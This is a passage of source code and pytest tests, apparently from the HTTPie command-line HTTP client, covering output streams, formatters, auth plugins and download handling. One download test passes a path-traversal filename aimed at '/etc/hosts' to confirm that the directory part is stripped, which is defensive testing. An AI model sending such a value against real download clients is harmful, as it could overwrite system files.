        assert with_headers or with_body
        self.msg = msg
        self.with_headers = with_headers
        self.with_body = with_body
        self.on_body_chunk_downloaded = on_body_chunk_downloaded

    def get_headers(self):
        """Return the headers' bytes."""
        return self.msg.headers.encode('utf8')

    def iter_body(self):
        """Return an iterator over the message body."""
        raise NotImplementedError()

    def __iter__(self):
        """Return an iterator over `self.msg`."""
        if self.with_headers:
            yield self.get_headers()
            yield b'\r\n\r\n'

        if self.with_body:
            try:
                for chunk in self.iter_body():
                    yield chunk
                    if self.on_body_chunk_downloaded:
                        self.on_body_chunk_downloaded(chunk)
            except BinarySuppressedError as e:
                if self.with_headers:
                    yield b'\n'
                yield e.message


class RawStream(BaseStream):
    """The message is streamed in chunks with no processing."""

    CHUNK_SIZE = 1024 * 100
    CHUNK_SIZE_BY_LINE = 1

    def __init__(self, chunk_size=CHUNK_SIZE, **kwargs):
        super(RawStream, self).__init__(**kwargs)
        self.chunk_size = chunk_size

    def iter_body(self):
        return self.msg.iter_body(self.chunk_size)


class EncodedStream(BaseStream):
    """Encoded HTTP message stream.

    The message bytes are converted to an encoding suitable for
    `self.env.stdout`. Unicode errors are replaced and binary data
    is suppressed. The body is always streamed by line.

    """
    CHUNK_SIZE = 1

    def __init__(self, env=Environment(), **kwargs):

        super(EncodedStream, self).__init__(**kwargs)

        if env.stdout_isatty:
            # Use the encoding supported by the terminal.
            output_encoding = env.stdout_encoding
        else:
            # Preserve the message encoding.
            output_encoding = self.msg.encoding

        # Default to utf8 when unsure.
        self.output_encoding = output_encoding or 'utf8'

    def iter_body(self):

        for line, lf in self.msg.iter_lines(self.CHUNK_SIZE):

            if b'\0' in line:
                raise BinarySuppressedError()

            yield line.decode(self.msg.encoding) \
                      .encode(self.output_encoding, 'replace') + lf


class PrettyStream(EncodedStream):
    """In addition to :class:`EncodedStream` behaviour, this stream applies
    content processing.

    Useful for long-lived HTTP responses that stream by lines
    such as the Twitter streaming API.

    """

    CHUNK_SIZE = 1

    def __init__(self, conversion, formatting, **kwargs):
        super(PrettyStream, self).__init__(**kwargs)
        self.formatting = formatting
        self.conversion = conversion
        self.mime = self.msg.content_type.split(';')[0]

    def get_headers(self):
        return self.formatting.format_headers(
            self.msg.headers).encode(self.output_encoding)

    def iter_body(self):
        first_chunk = True
        iter_lines = self.msg.iter_lines(self.CHUNK_SIZE)
        for line, lf in iter_lines:
            if b'\0' in line:
                if first_chunk:
                    converter = self.conversion.get_converter(self.mime)
                    if converter:
                        body = bytearray()
                        # noinspection PyAssignmentToLoopOrWithParameter
                        for line, lf in chain([(line, lf)], iter_lines):
                            body.extend(line)
                            body.extend(lf)
                        self.mime, body = converter.convert(body)
                        assert isinstance(body, str)
                        yield self.process_body(body)
                        return
                raise BinarySuppressedError()
            yield self.process_body(line) + lf
            first_chunk = False

    def process_body(self, chunk):
        if not isinstance(chunk, str):
            # Text when a converter has been used,
            # otherwise it will always be bytes.
            chunk = chunk.decode(self.msg.encoding, 'replace')
        chunk = self.formatting.format_body(content=chunk, mime=self.mime)
        return chunk.encode(self.output_encoding, 'replace')


class BufferedPrettyStream(PrettyStream):
    """The same as :class:`PrettyStream` except that the body is fully
    fetched before it's processed.

    Suitable regular HTTP responses.

    """

    CHUNK_SIZE = 1024 * 10

    def iter_body(self):
        # Read the whole body before prettifying it,
        # but bail out immediately if the body is binary.
        converter = None
        body = bytearray()

        for chunk in self.msg.iter_body(self.CHUNK_SIZE):
            if not converter and b'\0' in chunk:
                converter = self.conversion.get_converter(self.mime)
                if not converter:
                    raise BinarySuppressedError()
            body.extend(chunk)

        if converter:
            self.mime, body = converter.convert(body)

        yield self.process_body(body)






from __future__ import absolute_import
import json

from httpie.plugins import FormatterPlugin


DEFAULT_INDENT = 4


class JSONFormatter(FormatterPlugin):

    def format_body(self, body, mime):
        maybe_json = [
            'json',
            'javascript',
            'text',
        ]
        if (self.kwargs['explicit_json'] or
                any(token in mime for token in maybe_json)):
            try:
                obj = json.loads(body)
            except ValueError:
                pass  # Invalid JSON, ignore.
            else:
                # Indent, sort keys by name, and avoid
                # unicode escapes to improve readability.
                body = json.dumps(
                    obj=obj,
                    sort_keys=True,
                    ensure_ascii=False,
                    indent=DEFAULT_INDENT
                )
        return body












from httpie.plugins import FormatterPlugin


class HeadersFormatter(FormatterPlugin):

    def format_headers(self, headers):
        """
        Sorts headers by name while retaining relative
        order of multiple headers with the same name.

        """
        lines = headers.splitlines()
        headers = sorted(lines[1:], key=lambda h: h.split(':')[0])
        return '\r\n'.join(lines[:1] + headers)






from __future__ import absolute_import
import json

import pygments.lexer
import pygments.token
import pygments.styles
import pygments.lexers
import pygments.style
from pygments.formatters.terminal import TerminalFormatter
from pygments.formatters.terminal256 import Terminal256Formatter
from pygments.lexers.special import TextLexer
from pygments.util import ClassNotFound

from httpie.compat import is_windows
from httpie.plugins import FormatterPlugin


AVAILABLE_STYLES = set(pygments.styles.STYLE_MAP.keys())
AVAILABLE_STYLES.add('solarized')

if is_windows:
    # Colors on Windows via colorama don't look that
    # great and fruity seems to give the best result there
    DEFAULT_STYLE = 'fruity'
else:
    DEFAULT_STYLE = 'solarized'


class ColorFormatter(FormatterPlugin):
    """
    Colorize using Pygments

    This processor that applies syntax highlighting to the headers,
    and also to the body if its content type is recognized.

    """
    group_name = 'colors'

    def __init__(self, env, explicit_json=False,
                 color_scheme=DEFAULT_STYLE, **kwargs):
        super(ColorFormatter, self).__init__(**kwargs)
        if not env.colors:
            self.enabled = False
            return

        # --json, -j
        self.explicit_json = explicit_json

        try:
            style_class = pygments.styles.get_style_by_name(color_scheme)
        except ClassNotFound:
            style_class = Solarized256Style

        if env.colors == 256:
            fmt_class = Terminal256Formatter
        else:
            fmt_class = TerminalFormatter
        self.formatter = fmt_class(style=style_class)

    def format_headers(self, headers):
        return pygments.highlight(headers, HTTPLexer(), self.formatter).strip()

    def format_body(self, body, mime):
        lexer = self.get_lexer(mime, body)
        if lexer:
            body = pygments.highlight(body, lexer, self.formatter)
        return body.strip()

    def get_lexer(self, mime, body):
        return get_lexer(
            mime=mime,
            explicit_json=self.explicit_json,
            body=body,
        )


def get_lexer(mime, explicit_json=False, body=''):

    # Build candidate mime type and lexer names.
    mime_types, lexer_names = [mime], []
    type_, subtype = mime.split('/', 1)
    if '+' not in subtype:
        lexer_names.append(subtype)
    else:
        subtype_name, subtype_suffix = subtype.split('+', 1)
        lexer_names.extend([subtype_name, subtype_suffix])
        mime_types.extend([
            '%s/%s' % (type_, subtype_name),
            '%s/%s' % (type_, subtype_suffix)
        ])

    # As a last resort, if no lexer feels responsible, and
    # the subtype contains 'json', take the JSON lexer
    if 'json' in subtype:
        lexer_names.append('json')

    # Try to resolve the right lexer.
    lexer = None
    for mime_type in mime_types:
        try:
            lexer = pygments.lexers.get_lexer_for_mimetype(mime_type)
            break
        except ClassNotFound:
            pass
    else:
        for name in lexer_names:
            try:
                lexer = pygments.lexers.get_lexer_by_name(name)
            except ClassNotFound:
                pass

    if explicit_json and body and (not lexer or isinstance(lexer, TextLexer)):
        # JSON response with an incorrect Content-Type?
        try:
            json.loads(body)  # FIXME: the body also gets parsed in json.py
        except ValueError:
            pass  # Nope
        else:
            lexer = pygments.lexers.get_lexer_by_name('json')

    return lexer


class HTTPLexer(pygments.lexer.RegexLexer):
    """Simplified HTTP lexer for Pygments.

    It only operates on headers and provides a stronger contrast between
    their names and values than the original one bundled with Pygments
    (:class:`pygments.lexers.text import HttpLexer`), especially when
    Solarized color scheme is used.

    """
    name = 'HTTP'
    aliases = ['http']
    filenames = ['*.http']
    tokens = {
        'root': [
            # Request-Line
            (r'([A-Z]+)( +)([^ ]+)( +)(HTTP)(/)(\d+\.\d+)',
             pygments.lexer.bygroups(
                 pygments.token.Name.Function,
                 pygments.token.Text,
                 pygments.token.Name.Namespace,
                 pygments.token.Text,
                 pygments.token.Keyword.Reserved,
                 pygments.token.Operator,
                 pygments.token.Number
             )),
            # Response Status-Line
            (r'(HTTP)(/)(\d+\.\d+)( +)(\d{3})( +)(.+)',
             pygments.lexer.bygroups(
                 pygments.token.Keyword.Reserved,  # 'HTTP'
                 pygments.token.Operator,  # '/'
                 pygments.token.Number,  # Version
                 pygments.token.Text,
                 pygments.token.Number,  # Status code
                 pygments.token.Text,
                 pygments.token.Name.Exception,  # Reason
             )),
            # Header
            (r'(.*?)( *)(:)( *)(.+)', pygments.lexer.bygroups(
                pygments.token.Name.Attribute,  # Name
                pygments.token.Text,
                pygments.token.Operator,  # Colon
                pygments.token.Text,
                pygments.token.String  # Value
            ))
        ]
    }


class Solarized256Style(pygments.style.Style):
    """
    solarized256
    ------------

    A Pygments style inspired by Solarized's 256 color mode.

    :copyright: (c) 2011 by Hank Gay, (c) 2012 by John Mastro.
    :license: BSD, see LICENSE for more details.

    """
    BASE03 = "#1c1c1c"
    BASE02 = "#262626"
    BASE01 = "#4e4e4e"
    BASE00 = "#585858"
    BASE0 = "#808080"
    BASE1 = "#8a8a8a"
    BASE2 = "#d7d7af"
    BASE3 = "#ffffd7"
    YELLOW = "#af8700"
    ORANGE = "#d75f00"
    RED = "#af0000"
    MAGENTA = "#af005f"
    VIOLET = "#5f5faf"
    BLUE = "#0087ff"
    CYAN = "#00afaf"
    GREEN = "#5f8700"

    background_color = BASE03
    styles = {
        pygments.token.Keyword: GREEN,
        pygments.token.Keyword.Constant: ORANGE,
        pygments.token.Keyword.Declaration: BLUE,
        pygments.token.Keyword.Namespace: ORANGE,
        pygments.token.Keyword.Reserved: BLUE,
        pygments.token.Keyword.Type: RED,
        pygments.token.Name.Attribute: BASE1,
        pygments.token.Name.Builtin: BLUE,
        pygments.token.Name.Builtin.Pseudo: BLUE,
        pygments.token.Name.Class: BLUE,
        pygments.token.Name.Constant: ORANGE,
        pygments.token.Name.Decorator: BLUE,
        pygments.token.Name.Entity: ORANGE,
        pygments.token.Name.Exception: YELLOW,
        pygments.token.Name.Function: BLUE,
        pygments.token.Name.Tag: BLUE,
        pygments.token.Name.Variable: BLUE,
        pygments.token.String: CYAN,
        pygments.token.String.Backtick: BASE01,
        pygments.token.String.Char: CYAN,
        pygments.token.String.Doc: CYAN,
        pygments.token.String.Escape: RED,
        pygments.token.String.Heredoc: CYAN,
        pygments.token.String.Regex: RED,
        pygments.token.Number: CYAN,
        pygments.token.Operator: BASE1,
        pygments.token.Operator.Word: GREEN,
        pygments.token.Comment: BASE01,
        pygments.token.Comment.Preproc: GREEN,
        pygments.token.Comment.Special: GREEN,
        pygments.token.Generic.Deleted: CYAN,
        pygments.token.Generic.Emph: 'italic',
        pygments.token.Generic.Error: RED,
        pygments.token.Generic.Heading: ORANGE,
        pygments.token.Generic.Inserted: GREEN,
        pygments.token.Generic.Strong: 'bold',
        pygments.token.Generic.Subheading: ORANGE,
        pygments.token.Token: BASE1,
        pygments.token.Token.Other: ORANGE,
    }






class BasePlugin(object):

    # The name of the plugin, eg. "My auth".
    name = None

    # Optional short description. Will be be shown in the help
    # under --auth-type.
    description = None

    # This be set automatically once the plugin has been loaded.
    package_name = None


class AuthPlugin(BasePlugin):
    """
    Base auth plugin class.

    See <https://github.com/jkbrzt/httpie-ntlm> for an example auth plugin.

    """
    # The value that should be passed to --auth-type
    # to use this auth plugin. Eg. "my-auth"
    auth_type = None

    def get_auth(self, username, password):
        """
        Return a ``requests.auth.AuthBase`` subclass instance.

        """
        raise NotImplementedError()


class TransportPlugin(BasePlugin):
    """

    http://docs.python-requests.org/en/latest/user/advanced/#transport-adapters

    """

    # The URL prefix the adapter should be mount to.
    prefix = None

    def get_adapter(self):
        """
        Return a ``requests.adapters.BaseAdapter`` subclass instance to be
        mounted to ``self.prefix``.

        """
        raise NotImplementedError()


class ConverterPlugin(object):

    def __init__(self, mime):
        self.mime = mime

    def convert(self, content_bytes):
        raise NotImplementedError

    @classmethod
    def supports(cls, mime):
        raise NotImplementedError


class FormatterPlugin(object):

    def __init__(self, **kwargs):
        """
        :param env: an class:`Environment` instance
        :param kwargs: additional keyword argument that some
                       processor might require.

        """
        self.enabled = True
        self.kwargs = kwargs

    def format_headers(self, headers):
        """Return processed `headers`

        :param headers: The headers as text.

        """
        return headers

    def format_body(self, content, mime):
        """Return processed `content`.

        :param mime: E.g., 'application/atom+xml'.
        :param content: The body content as text

        """
        return content






from base64 import b64encode

import requests.auth

from httpie.plugins.base import AuthPlugin


# noinspection PyAbstractClass
class BuiltinAuthPlugin(AuthPlugin):

    package_name = '(builtin)'


class HTTPBasicAuth(requests.auth.HTTPBasicAuth):

    def __call__(self, r):
        """
        Override username/password serialization to allow unicode.

        See https://github.com/jkbrzt/httpie/issues/212

        """
        r.headers['Authorization'] = type(self).make_header(
            self.username, self.password).encode('latin1')
        return r

    @staticmethod
    def make_header(username, password):
        credentials = u'%s:%s' % (username, password)
        token = b64encode(credentials.encode('utf8')).strip().decode('latin1')
        return 'Basic %s' % token


class BasicAuthPlugin(BuiltinAuthPlugin):

    name = 'Basic HTTP auth'
    auth_type = 'basic'

    def get_auth(self, username, password):
        return HTTPBasicAuth(username, password)


class DigestAuthPlugin(BuiltinAuthPlugin):

    name = 'Digest HTTP auth'
    auth_type = 'digest'

    def get_auth(self, username, password):
        return requests.auth.HTTPDigestAuth(username, password)






"""
WARNING: The plugin API is still work in progress and will
         probably be completely reworked by v1.0.0.

"""
from httpie.plugins.base import (
    AuthPlugin, FormatterPlugin,
    ConverterPlugin, TransportPlugin
)
from httpie.plugins.manager import PluginManager
from httpie.plugins.builtin import BasicAuthPlugin, DigestAuthPlugin
from httpie.output.formatters.headers import HeadersFormatter
from httpie.output.formatters.json import JSONFormatter
from httpie.output.formatters.colors import ColorFormatter


plugin_manager = PluginManager()
plugin_manager.register(BasicAuthPlugin,
                        DigestAuthPlugin)
plugin_manager.register(HeadersFormatter,
                        JSONFormatter,
                        ColorFormatter)






from itertools import groupby
from pkg_resources import iter_entry_points
from httpie.plugins import AuthPlugin, FormatterPlugin, ConverterPlugin
from httpie.plugins.base import TransportPlugin


ENTRY_POINT_NAMES = [
    'httpie.plugins.auth.v1',
    'httpie.plugins.formatter.v1',
    'httpie.plugins.converter.v1',
    'httpie.plugins.transport.v1',
]


class PluginManager(object):

    def __init__(self):
        self._plugins = []

    def __iter__(self):
        return iter(self._plugins)

    def register(self, *plugins):
        for plugin in plugins:
            self._plugins.append(plugin)

    def load_installed_plugins(self):
        for entry_point_name in ENTRY_POINT_NAMES:
            for entry_point in iter_entry_points(entry_point_name):
                plugin = entry_point.load()
                plugin.package_name = entry_point.dist.key
                self.register(entry_point.load())

    # Auth
    def get_auth_plugins(self):
        return [plugin for plugin in self if issubclass(plugin, AuthPlugin)]

    def get_auth_plugin_mapping(self):
        return dict((plugin.auth_type, plugin)
                    for plugin in self.get_auth_plugins())

    def get_auth_plugin(self, auth_type):
        return self.get_auth_plugin_mapping()[auth_type]

    # Output processing
    def get_formatters(self):
        return [plugin for plugin in self
                if issubclass(plugin, FormatterPlugin)]

    def get_formatters_grouped(self):
        groups = {}
        for group_name, group in groupby(
                self.get_formatters(),
                key=lambda p: getattr(p, 'group_name', 'format')):
            groups[group_name] = list(group)
        return groups

    def get_converters(self):
        return [plugin for plugin in self
                if issubclass(plugin, ConverterPlugin)]

    # Adapters
    def get_transport_plugins(self):
        return [plugin for plugin in self
                if issubclass(plugin, TransportPlugin)]






import os
import tempfile

import pytest
from httpie.context import Environment

from utils import TestEnvironment, http
from httpie.compat import is_windows


@pytest.mark.skipif(not is_windows, reason='windows-only')
class TestWindowsOnly:

    @pytest.mark.skipif(True,
                        reason='this test for some reason kills the process')
    def test_windows_colorized_output(self, httpbin):
        # Spits out the colorized output.
        http(httpbin.url + '/get', env=Environment())


class TestFakeWindows:
    def test_output_file_pretty_not_allowed_on_windows(self, httpbin):
        env = TestEnvironment(is_windows=True)
        output_file = os.path.join(
            tempfile.gettempdir(),
            self.test_output_file_pretty_not_allowed_on_windows.__name__
        )
        r = http('--output', output_file,
                 '--pretty=all', 'GET', httpbin.url + '/get',
                 env=env, error_exit_ok=True)
        assert 'Only terminal output can be colorized on Windows' in r.stderr






from httpie import ExitStatus
from utils import TestEnvironment, http, HTTP_OK


def test_ok_response_exits_0(httpbin):
    r = http('GET', httpbin.url + '/status/200')
    assert HTTP_OK in r
    assert r.exit_status == ExitStatus.OK


def test_error_response_exits_0_without_check_status(httpbin):
    r = http('GET', httpbin.url + '/status/500')
    assert '500 INTERNAL SERVER ERRO' in r
    assert r.exit_status == ExitStatus.OK
    assert not r.stderr


def test_timeout_exit_status(httpbin):

    r = http('--timeout=0.01', 'GET', httpbin.url + '/delay/0.02',
             error_exit_ok=True)
    assert r.exit_status == ExitStatus.ERROR_TIMEOUT


def test_3xx_check_status_exits_3_and_stderr_when_stdout_redirected(
        httpbin):
    env = TestEnvironment(stdout_isatty=False)
    r = http('--check-status', '--headers',
             'GET', httpbin.url + '/status/301',
             env=env, error_exit_ok=True)
    assert '301 MOVED PERMANENTLY' in r
    assert r.exit_status == ExitStatus.ERROR_HTTP_3XX
    assert '301 moved permanently' in r.stderr.lower()


def test_3xx_check_status_redirects_allowed_exits_0(httpbin):
    r = http('--check-status', '--follow',
             'GET', httpbin.url + '/status/301',
             error_exit_ok=True)
    # The redirect will be followed so 200 is expected.
    assert HTTP_OK in r
    assert r.exit_status == ExitStatus.OK


def test_4xx_check_status_exits_4(httpbin):
    r = http('--check-status', 'GET', httpbin.url + '/status/401',
             error_exit_ok=True)
    assert '401 UNAUTHORIZED' in r
    assert r.exit_status == ExitStatus.ERROR_HTTP_4XX
    # Also stderr should be empty since stdout isn't redirected.
    assert not r.stderr


def test_5xx_check_status_exits_5(httpbin):
    r = http('--check-status', 'GET', httpbin.url + '/status/500',
             error_exit_ok=True)
    assert '500 INTERNAL SERVER ERROR' in r
    assert r.exit_status == ExitStatus.ERROR_HTTP_5XX






"""High-level tests."""
import pytest

from httpie import ExitStatus
from utils import http, HTTP_OK


def test_follow_all_redirects_shown(httpbin):
    r = http('--follow', '--all', httpbin.url + '/redirect/2')
    assert r.count('HTTP/1.1') == 3
    assert r.count('HTTP/1.1 302 FOUND', 2)
    assert HTTP_OK in r


@pytest.mark.parametrize('follow_flag', ['--follow', '-F'])
def test_follow_without_all_redirects_hidden(httpbin, follow_flag):
    r = http(follow_flag, httpbin.url + '/redirect/2')
    assert r.count('HTTP/1.1') == 1
    assert HTTP_OK in r


def test_follow_all_output_options_used_for_redirects(httpbin):
    r = http('--check-status',
             '--follow',
             '--all',
             '--print=H',
             httpbin.url + '/redirect/2')
    assert r.count('GET /') == 3
    assert HTTP_OK not in r


def test_follow_redirect_output_options(httpbin):
    r = http('--check-status',
             '--follow',
             '--all',
             '--print=h',
             '--history-print=H',
             httpbin.url + '/redirect/2')
    assert r.count('GET /') == 2
    assert 'HTTP/1.1 302 FOUND' not in r
    assert HTTP_OK in r


def test_max_redirects(httpbin):
    r = http('--max-redirects=1', '--follow', httpbin.url + '/redirect/3',
             error_exit_ok=True)
    assert r.exit_status == ExitStatus.ERROR_TOO_MANY_REDIRECTS






import mock
from pytest import raises
from requests import Request, Timeout
from requests.exceptions import ConnectionError

from httpie import ExitStatus
from httpie.core import main

error_msg = None


@mock.patch('httpie.core.get_response')
def test_error(get_response):
    def error(msg, *args, **kwargs):
        global error_msg
        error_msg = msg % args

    exc = ConnectionError('Connection aborted')
    exc.request = Request(method='GET', url='http://www.google.com')
    get_response.side_effect = exc
    ret = main(['--ignore-stdin', 'www.google.com'], custom_log_error=error)
    assert ret == ExitStatus.ERROR
    assert error_msg == (
        'ConnectionError: '
        'Connection aborted while doing GET request to URL: '
        'http://www.google.com')


@mock.patch('httpie.core.get_response')
def test_error_traceback(get_response):
    exc = ConnectionError('Connection aborted')
    exc.request = Request(method='GET', url='http://www.google.com')
    get_response.side_effect = exc
    with raises(ConnectionError):
        main(['--ignore-stdin', '--traceback', 'www.google.com'])


@mock.patch('httpie.core.get_response')
def test_timeout(get_response):
    def error(msg, *args, **kwargs):
        global error_msg
        error_msg = msg % args

    exc = Timeout('Request timed out')
    exc.request = Request(method='GET', url='http://www.google.com')
    get_response.side_effect = exc
    ret = main(['--ignore-stdin', 'www.google.com'], custom_log_error=error)
    assert ret == ExitStatus.ERROR_TIMEOUT
    assert error_msg == 'Request timed out (30s).'






import os
import time

import pytest
import mock
from requests.structures import CaseInsensitiveDict

from httpie.compat import urlopen
from httpie.downloads import (
    parse_content_range, filename_from_content_disposition, filename_from_url,
    get_unique_filename, ContentRangeError, Downloader,
)
from utils import http, TestEnvironment


class Response(object):
    # noinspection PyDefaultArgument
    def __init__(self, url, headers={}, status_code=200):
        self.url = url
        self.headers = CaseInsensitiveDict(headers)
        self.status_code = status_code


class TestDownloadUtils:
    def test_Content_Range_parsing(self):
        parse = parse_content_range

        assert parse('bytes 100-199/200', 100) == 200
        assert parse('bytes 100-199/*', 100) == 200

        # missing
        pytest.raises(ContentRangeError, parse, None, 100)

        # syntax error
        pytest.raises(ContentRangeError, parse, 'beers 100-199/*', 100)

        # unexpected range
        pytest.raises(ContentRangeError, parse, 'bytes 100-199/*', 99)

        # invalid instance-length
        pytest.raises(ContentRangeError, parse, 'bytes 100-199/199', 100)

        # invalid byte-range-resp-spec
        pytest.raises(ContentRangeError, parse, 'bytes 100-99/199', 100)

        # invalid byte-range-resp-spec
        pytest.raises(ContentRangeError, parse, 'bytes 100-100/*', 100)

    @pytest.mark.parametrize('header, expected_filename', [
        ('attachment; filename=hello-WORLD_123.txt', 'hello-WORLD_123.txt'),
        ('attachment; filename=".hello-WORLD_123.txt"', 'hello-WORLD_123.txt'),
        ('attachment; filename="white space.txt"', 'white space.txt'),
        (r'attachment; filename="\"quotes\".txt"', '"quotes".txt'),
        ('attachment; filename=/etc/hosts', 'hosts'),
        ('attachment; filename=', None)
    ])
    def test_Content_Disposition_parsing(self, header, expected_filename):
        assert filename_from_content_disposition(header) == expected_filename

    def test_filename_from_url(self):
        assert 'foo.txt' == filename_from_url(
            url='http://example.org/foo',
            content_type='text/plain'
        )
        assert 'foo.html' == filename_from_url(
            url='http://example.org/foo',
            content_type='text/html; charset=utf8'
        )
        assert 'foo' == filename_from_url(
            url='http://example.org/foo',
            content_type=None
        )
        assert 'foo' == filename_from_url(
            url='http://example.org/foo',
            content_type='x-foo/bar'
        )

    @pytest.mark.parametrize(
        'orig_name, unique_on_attempt, expected',
        [
            # Simple
            ('foo.bar', 0, 'foo.bar'),
            ('foo.bar', 1, 'foo.bar-1'),
            ('foo.bar', 10, 'foo.bar-10'),
            # Trim
            ('A' * 20, 0, 'A' * 10),
            ('A' * 20, 1, 'A' * 8 + '-1'),
            ('A' * 20, 10, 'A' * 7 + '-10'),
            # Trim before ext
            ('A' * 20 + '.txt', 0, 'A' * 6 + '.txt'),
            ('A' * 20 + '.txt', 1, 'A' * 4 + '.txt-1'),
            # Trim at the end
            ('foo.' + 'A' * 20, 0, 'foo.' + 'A' * 6),
            ('foo.' + 'A' * 20, 1, 'foo.' + 'A' * 4 + '-1'),
            ('foo.' + 'A' * 20, 10, 'foo.' + 'A' * 3 + '-10'),
        ]
    )
    @mock.patch('httpie.downloads.get_filename_max_length')
    def test_unique_filename(self, get_filename_max_length,
                             orig_name, unique_on_attempt,
                             expected):

        def attempts(unique_on_attempt=0):
            # noinspection PyUnresolvedReferences,PyUnusedLocal
            def exists(filename):
                if exists.attempt == unique_on_attempt:
                    return False
                exists.attempt += 1
                return True

            exists.attempt = 0
            return exists

        get_filename_max_length.return_value = 10

        actual = get_unique_filename(orig_name, attempts(unique_on_attempt))
        assert expected == actual


class TestDownloads:
    # TODO: more tests

    def test_actual_download(self, httpbin_both, httpbin):
        robots_txt = '/robots.txt'
        body = urlopen(httpbin + robots_txt).read().decode()
        env = TestEnvironment(stdin_isatty=True, stdout_isatty=False)
        r = http('--download', httpbin_both.url + robots_txt, env=env)
        assert 'Downloading' in r.stderr
        assert '[K' in r.stderr
        assert 'Done' in r.stderr
        assert body == r

    def test_download_with_Content_Length(self, httpbin_both):
        devnull = open(os.devnull, 'w')
        downloader = Downloader(output_file=devnull, progress_file=devnull)
        downloader.start(Response(
            url=httpbin_both.url + '/',
            headers={'Content-Length': 10}
        ))
        time.sleep(1.1)
        downloader.chunk_downloaded(b'12345')
        time.sleep(1.1)
        downloader.chunk_downloaded(b'12345')
        downloader.finish()
        assert not downloader.interrupted

    def test_download_no_Content_Length(self, httpbin_both):
        devnull = open(os.devnull, 'w')
        downloader = Downloader(output_file=devnull, progress_file=devnull)
        downloader.start(Response(url=httpbin_both.url + '/'))
        time.sleep(1.1)
        downloader.chunk_downloaded(b'12345')
        downloader.finish()
        assert not downloader.interrupted

    def test_download_interrupted(self, httpbin_both):
        devnull = open(os.devnull, 'w')
        downloader = Downloader(output_file=devnull, progress_file=devnull)
        downloader.start(Response(
            url=httpbin_both.url + '/',
            headers={'Content-Length': 5}
        ))
        downloader.chunk_downloaded(b'1234')
        downloader.finish()
        assert downloader.interrupted






from utils import TestEnvironment, http


def test_default_options(httpbin):
    env = TestEnvironment()
    env.config['default_options'] = ['--form']
    env.config.save()
    r = http(httpbin.url + '/post', 'foo=bar', env=env)
    assert r.json['form'] == {"foo": "bar"}


def test_default_options_overwrite(httpbin):
    env = TestEnvironment()
    env.config['default_options'] = ['--form']
    env.config.save()
    r = http('--json', httpbin.url + '/post', 'foo=bar', env=env)
    assert r.json['json'] == {"foo": "bar"}


def test_migrate_implicit_content_type():
    config = TestEnvironment().config

    config['implicit_content_type'] = 'json'
    config.save()
    config.load()
    assert 'implicit_content_type' not in config
    assert not config['default_options']

    config['implicit_content_type'] = 'form'
    config.save()
    config.load()
    assert 'implicit_content_type' not in config
    assert config['default_options'] == ['--form']






"""High-level tests."""
import pytest

from httpie.input import ParseError
from utils import TestEnvironment, http, HTTP_OK
from fixtures import FILE_PATH, FILE_CONTENT

import httpie
from httpie.compat import is_py26


def test_debug():
    r = http('--debug')
    assert r.exit_status == httpie.ExitStatus.OK
    assert 'HTTPie %s' % httpie.__version__ in r.stderr


def test_help():
    r = http('--help', error_exit_ok=True)
    assert r.exit_status == httpie.ExitStatus.OK
    assert 'https://github.com/jkbrzt/httpie/issues' in r


def test_version():
    r = http('--version', error_exit_ok=True)
    assert r.exit_status == httpie.ExitStatus.OK
    # FIXME: py3 has version in stdout, py2 in stderr
    assert httpie.__version__ == r.stderr.strip() + r.strip()


def test_GET(httpbin_both):
    r = http('GET', httpbin_both + '/get')
    assert HTTP_OK in r


def test_DELETE(httpbin_both):
    r = http('DELETE', httpbin_both + '/delete')
    assert HTTP_OK in r


def test_PUT(httpbin_both):
    r = http('PUT', httpbin_both + '/put', 'foo=bar')
    assert HTTP_OK in r
    assert r.json['json']['foo'] == 'bar'


def test_POST_JSON_data(httpbin_both):
    r = http('POST', httpbin_both + '/post', 'foo=bar')
    assert HTTP_OK in r
    assert r.json['json']['foo'] == 'bar'


def test_POST_form(httpbin_both):
    r = http('--form', 'POST', httpbin_both + '/post', 'foo=bar')
    assert HTTP_OK in r
    assert '"foo": "bar"' in r


def test_POST_form_multiple_values(httpbin_both):
    r = http('--form', 'POST', httpbin_both + '/post', 'foo=bar', 'foo=baz')
    assert HTTP_OK in r
    assert r.json['form'] == {'foo': ['bar', 'baz']}


def test_POST_stdin(httpbin_both):
    with open(FILE_PATH) as f:
        env = TestEnvironment(stdin=f, stdin_isatty=False)
        r = http('--form', 'POST', httpbin_both + '/post', env=env)
    assert HTTP_OK in r
    assert FILE_CONTENT in r


def test_headers(httpbin_both):
    r = http('GET', httpbin_both + '/headers', 'Foo:bar')
    assert HTTP_OK in r
    assert '"User-Agent": "HTTPie' in r, r
    assert '"Foo": "bar"' in r


def test_headers_unset(httpbin_both):
    r = http('GET', httpbin_both + '/headers')
    assert 'Accept' in r.json['headers']  # default Accept present

    r = http('GET', httpbin_both + '/headers', 'Accept:')
    assert 'Accept' not in r.json['headers']   # default Accept unset


def test_headers_empty_value(httpbin_both):
    r = http('GET', httpbin_both + '/headers')
    assert r.json['headers']['Accept']  # default Accept has value

    r = http('GET', httpbin_both + '/headers', 'Accept;')
    assert r.json['headers']['Accept'] == ''   # Accept has no value


def test_headers_empty_value_with_value_gives_error(httpbin):
    with pytest.raises(ParseError):
        http('GET', httpbin + '/headers', 'Accept;SYNTAX_ERROR')


@pytest.mark.skipif(
    is_py26,
    reason='the `object_pairs_hook` arg for `json.loads()` is Py>2.6 only'
)
def test_json_input_preserve_order(httpbin_both):
    r = http('PATCH', httpbin_both + '/patch',
             'order:={"map":{"1":"first","2":"second"}}')
    assert HTTP_OK in r
    assert r.json['data'] == \
        '{"order": {"map": {"1": "first", "2": "second"}}}'






import pytest

from httpie.compat import is_windows
from httpie.output.streams import BINARY_SUPPRESSED_NOTICE
from utils import http, TestEnvironment
from fixtures import BIN_FILE_CONTENT, BIN_FILE_PATH


# GET because httpbin 500s with binary POST body.


@pytest.mark.skipif(is_windows,
                    reason='Pretty redirect not supported under Windows')
def test_pretty_redirected_stream(httpbin):
    """Test that --stream works with prettified redirected output."""
    with open(BIN_FILE_PATH, 'rb') as f:
        env = TestEnvironment(colors=256, stdin=f,
                              stdin_isatty=False,
                              stdout_isatty=False)
        r = http('--verbose', '--pretty=all', '--stream', 'GET',
                 httpbin.url + '/get', env=env)
    assert BINARY_SUPPRESSED_NOTICE.decode() in r


def test_encoded_stream(httpbin):
    """Test that --stream works with non-prettified
    redirected terminal output."""
    with open(BIN_FILE_PATH, 'rb') as f:
        env = TestEnvironment(stdin=f, stdin_isatty=False)
        r = http('--pretty=none', '--stream', '--verbose', 'GET',
                 httpbin.url + '/get', env=env)
    assert BINARY_SUPPRESSED_NOTICE.decode() in r


def test_redirected_stream(httpbin):
